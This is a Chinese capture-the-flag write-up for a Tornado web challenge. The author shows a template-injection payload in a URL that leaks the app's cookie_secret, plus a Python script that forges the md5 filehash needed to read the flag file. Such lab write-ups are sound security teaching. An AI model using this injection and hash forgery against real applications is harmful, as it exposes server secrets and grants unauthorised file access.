进入网址,看到以下内容
首先,习惯性的访问一下 robots.txt,看一下有没有什么好东西
看来不存在
返回,f12,发现body中的三行文字,并且分别指向三个地址 ,依次打开
首先,很容易的观察到,我们请求的网址都是由filename以及 filehash组成的
再从提示中,我们能够得到filename,以及猜测hints.txt中的公式就是filehash的计算方法,
但cookie_secret到底是个什么东西,别急,此时我们welcome.txt中的提示还没有使用,
后面百度搜索,看了下大佬们 wp,发现存在一种叫STTI模板注入,
原文地址:https://blog.csdn.net/qq_43678005/article/details/108108520
而render是python中web框架tornado里面一个方法,用来找到模板文件,渲染文件,从而显示页面(python+web框架之tornado的简介,感兴趣的朋友可以自己去了解下)
在了解STTI模板注入后,(作为学习者,一定要先了解相应的知识后再尝试着自己复现漏洞,这才是掌握技能的关键,更是一种良好的学习习惯),我们开始尝试注入
我们先找到注入点
尝试下注入
简单的尝试了一些后,猜测可能对表达式进行了过滤,
在根据,Tornado框架的附属文件handler.settings中存在 cookie_secret,
于是构造playload
msg={{hander.setting}}
# 完整网址为:http://33d2f68b-dab4-4588-9387-e8f6bc63abd6.node3.buuoj.cn/error?msg={{handler.settings}}
回车后,得到信息
得到了关键信息后,再对信息进行提示所给的公式进行加密
此处我使用了 python3.6进行公式加密
import hashlib
filename = '/fllllllllllllag'
"""
此处有个小插曲,hints.txt中的提示为md5(filename),
所以第一次是使用的 fllllllllllllag (及没带入路径) 作为md5的加密对象,
后面失败了几次,把路径加上才成功
"""
cookie_secret = '4a9b71f4-b003-41e0-a161-0030c57f1af6'
md_5 = hashlib.md5() # 创建md5对象
md_5.update(filename.encode('utf-8'))
md5_filename = md_5.hexdigest() # 得到filename的md5加密结果
print(hashlib.md5((cookie_secret+md5_filename).encode('utf-8')).hexdigest()) # 得到最后结果
最后将md5加密结果以及文件地址带入url,?filename=/fllllllllllllag&filehash=10ee2b779502b8df63ee41b5623d8d75
得到flag为
flag{81bf23ec-253f-42da-b142-79ff26cd9e5c}